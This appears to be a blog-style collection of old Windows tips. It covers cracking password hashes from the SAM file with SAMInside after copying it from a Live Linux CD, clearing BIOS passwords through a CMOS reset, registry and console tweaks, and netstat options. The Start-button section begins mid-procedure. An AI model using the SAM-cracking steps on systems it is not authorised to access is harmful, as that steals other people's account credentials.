-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.

BIOS Passwords Hacks.

To perform this hack you will need:

• A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
• Needle-nosed pliers if you are working with jumpers
• A small flashlight or headlamp

With tools at hand, perform the following steps:

1. Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
2. Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
3. Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
4. Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
5. Wait 20-30 seconds for the memory to clear out from lack of power.
6. After 20-30 seconds put the switch or jumper the way it was before for normal use.
7. Reconnect the power cord and start up the system to see if the settings have changed to defaults.
8. Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
9. Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.

If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory. SOURCE : http://www.oreilly.com/pub/h/2245

Change DOS Colour.

SYNTAX Sets the default console foreground and background colors.
COLOR [attr]
attr Specifies color attribute of console output
Color attributes are specified by TWO hex digits -- the first corresponds to the background; the second the foreground. Each digit can be any of the below values.
0 = Black 8 = Gray 1 = Blue 9 = Light Blue 2 = Green A = Light Green 3 = Aqua B = Light Aqua 4 = Red C = Light Red 5 = Purple D = Light Purple 6 = Yellow E = Light Yellow 7 = White F = Bright White If no argument is given, this command restores the color to what it was when CMD.EXE started. This value either comes from the current console window, the /T command line switch or from the Default Color registry value. The COLOR command sets ERROR LEVEL to 1 if an attempt is made to execute the COLOR command with a foreground and background color that are the same. EXAMPLE
Color 2A = Creates a green background with light bright green text, similar to many of the FTP, telnet, and old BBS console screens.
Valid for a session only.

Speed Up XP Booting.

Start Registry Editor (Regedit.exe).

Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters

Make sure you backup the keys by exporting them to a .reg file.

On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

Close the registry editor.

Restart your computer.

Using Your Command Prompt.

Type netstat -a Display all connections and listening ports, netstat -b Display the executable involved in creating each connection or listening port. In some well-known executables host multiple independent components, and in these cases the sequence of components involved in creating the connection or listening port is displayed. In this case the executable name is in [ ] at the bottom, on top is the component it called, and so forth until TCP/IP was reached. Note that this option can be time-consuming and will fail unless you have sufficient permissions. netstat -e Displays Ethernet statistics. This may be combined with the -s option. netstat -n Displays addresses and port numbers in numerical form. netstat -o Displays the owning process ID associated with each connection. netstat -p proto Shows connections for the protocol specified by proto; proto may be any of : TCP, UDP, TCPv6, or UDPv6. If used with -s option to display per-protocol statistics, proto may be any of: IP, IPv6, ICMP, ICMPv6, TCP, TCPv6, UDP, or UDPv6 netstat -r Displays the routing table. netstat -s Displays per-protocol statistics. netstat -v When used in conjunction with -b, will display sequence of components involved in creating the connection or listening port for all executables.

Change Text on XP Start button.

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open: field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the Shell entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.

Disable or Remove Shutdown.

It is Possible to Remove Shut Down option from Start menu. Just follow the following steps. Start->Run->gpedit.msc->User Configuration->Administrative Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable. Its Done!
